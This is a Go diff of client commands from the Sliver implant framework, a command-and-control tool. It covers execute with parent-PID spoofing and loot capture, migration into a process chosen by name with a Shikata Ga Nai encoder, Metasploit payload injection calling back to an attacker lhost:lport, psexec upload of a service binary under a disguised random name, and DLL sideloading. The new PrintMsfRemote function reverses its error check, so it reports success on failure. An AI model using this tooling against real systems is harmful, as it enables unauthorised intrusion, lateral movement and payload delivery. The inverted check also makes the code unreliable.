||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
@@ -51,21 +61,23 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token {
|
||||
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
if token || ppid != 0 {
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: output,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
})
|
||||
@@ -84,22 +96,42 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
PrintExecute(exec, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
if !output {
|
||||
@@ -111,17 +143,14 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
return
|
||||
}
|
||||
|
||||
combined := ""
|
||||
if stdout == "" {
|
||||
combined = string(exec.Stdout)
|
||||
con.PrintInfof("Output:\n%s", combined)
|
||||
con.PrintInfof("Output:\n%s", string(exec.Stdout))
|
||||
} else {
|
||||
con.PrintInfof("Stdout saved at %s\n", stdout)
|
||||
}
|
||||
|
||||
if stderr == "" {
|
||||
if !ignoreStderr && 0 < len(exec.Stderr) {
|
||||
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
|
||||
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
|
||||
}
|
||||
} else {
|
||||
@@ -131,13 +160,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
|
||||
if exec.Status != 0 {
|
||||
con.PrintErrorf("Exited with status %d!\n", exec.Status)
|
||||
}
|
||||
if saveLoot && 0 < len(combined) {
|
||||
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
|
||||
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
|
||||
|
||||
if strings.Contains(commandName, ".") {
|
||||
commandName = commandName[:strings.LastIndex(commandName, ".")]
|
||||
}
|
||||
|
||||
return commandName
|
||||
}
|
||||
|
||||
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
|
||||
var outputString string = ""
|
||||
|
||||
if combineStdOut {
|
||||
outputString += "Output (stdout):\n" + string(exec.Stdout)
|
||||
}
|
||||
|
||||
if combineStdErr {
|
||||
if combineStdOut {
|
||||
outputString += "\n"
|
||||
}
|
||||
outputString += "Stderr:\n" + string(exec.Stderr)
|
||||
}
|
||||
|
||||
return []byte(outputString)
|
||||
}
|
||||
|
||||
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
|
||||
if len(commandOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
shortCommandName := determineCommandName(cmdName)
|
||||
|
||||
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
|
||||
if lootName == "" {
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Output:\n%s", executionOutput)
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(executionOutput, commandName, hostName, con)
|
||||
}
|
||||
}
|
||||
|
||||
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
|
||||
if len(executionOutput) == 0 {
|
||||
con.PrintInfof("There was no output from execution, so there is nothing to save.")
|
||||
return
|
||||
}
|
||||
|
||||
timeNow := time.Now().UTC().Format("20060102150405")
|
||||
|
||||
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
|
||||
|
||||
outFilePath, err = os.CreateTemp("", outFileName)
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(executionOutput))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -18,9 +21,11 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -31,14 +36,50 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
procName := ctx.Flags.String("process-name")
|
||||
if pid == 0 && procName == "" {
|
||||
con.PrintErrorf("Error: Must specify either a PID or process name\n")
|
||||
return
|
||||
}
|
||||
if procName != "" {
|
||||
procCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
|
||||
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
procCtrl <- true
|
||||
<-procCtrl
|
||||
for _, p := range proc.GetProcesses() {
|
||||
if strings.ToLower(p.Executable) == strings.ToLower(procName) {
|
||||
pid = uint(p.Pid)
|
||||
break
|
||||
}
|
||||
}
|
||||
if pid == 0 {
|
||||
con.PrintErrorf("Error: Could not find process %s\n", procName)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
|
||||
}
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -33,8 +33,8 @@ import (
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMsfRemote - Print the results of the remote injection attempt
|
||||
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
|
||||
if msfRemote.Response == nil {
|
||||
con.PrintErrorf("Empty response from msf payload injection task")
|
||||
return
|
||||
}
|
||||
if msfRemote.Response.Err != "" {
|
||||
con.PrintInfof("Executed payload on target")
|
||||
} else {
|
||||
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
|
||||
}
|
||||
}
|
||||
@@ -25,14 +25,15 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, session.OS, session.Arch, lhost, lport)
|
||||
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if msfTask.Response != nil && msfTask.Response.Async {
|
||||
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, msfTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMsfRemote(msfTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(msfTask.Response)
|
||||
} else {
|
||||
con.PrintInfof("Executed payload on target\n")
|
||||
PrintMsfRemote(msfTask, con)
|
||||
}
|
||||
}
|
||||
@@ -21,16 +21,19 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -47,10 +50,12 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
@@ -61,35 +66,46 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
}
|
||||
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
if customExe == "" {
|
||||
if profile == "" {
|
||||
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
|
||||
return
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
|
||||
} else {
|
||||
// use a custom exe instead of generating a new Sliver
|
||||
fileBytes, err := os.ReadFile(customExe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
|
||||
return
|
||||
}
|
||||
serviceBinary = fileBytes
|
||||
}
|
||||
|
||||
// generate sliver
|
||||
generateCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
generateCtrl <- true
|
||||
<-generateCtrl
|
||||
var implantProfile *clientpb.ImplantProfile
|
||||
for _, prof := range profiles.Profiles {
|
||||
if prof.Name == profile {
|
||||
implantProfile = prof
|
||||
}
|
||||
}
|
||||
if implantProfile.GetName() == "" {
|
||||
con.PrintErrorf("No profile found for name %s\n", profile)
|
||||
return
|
||||
}
|
||||
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
|
||||
filename := randomString(10)
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
@@ -158,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString(length int) string {
|
||||
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
b := make([]byte, length)
|
||||
for i := range b {
|
||||
b[i] = charset[insecureRand.Intn(len(charset))]
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
noun = strings.ToUpper(noun)
|
||||
case 1:
|
||||
noun = strings.ToTitle(noun)
|
||||
}
|
||||
return string(b)
|
||||
|
||||
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
|
||||
sep := separators[insecureRand.Intn(len(separators))]
|
||||
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
prefix := ""
|
||||
for index := 0; index < insecureRand.Intn(3); index++ {
|
||||
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
suffix := ""
|
||||
for index := 0; index < insecureRand.Intn(6)+1; index++ {
|
||||
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -46,11 +45,13 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
@@ -62,6 +63,9 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -70,7 +74,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if sideload.Response != nil && sideload.Response.Async {
|
||||
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideload)
|
||||
@@ -78,34 +82,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
PrintSideload(sideload, hostname, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideload - Print the sideload command output
|
||||
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", sideload.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideload.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,27 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -26,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
processName := ctx.Flags.String("process")
|
||||
exportName := ctx.Flags.String("export")
|
||||
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -48,7 +64,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
hostName := getHostname(session, beacon)
|
||||
if spawndll.Response != nil && spawndll.Response.Async {
|
||||
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawndll)
|
||||
@@ -56,34 +72,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawndll.Response)
|
||||
} else {
|
||||
PrintSpawnDll(spawndll, hostname, ctx, con)
|
||||
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDll - Print the SpawnDll command response
|
||||
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
|
||||
if spawndll.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", spawndll.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawndll.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,26 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
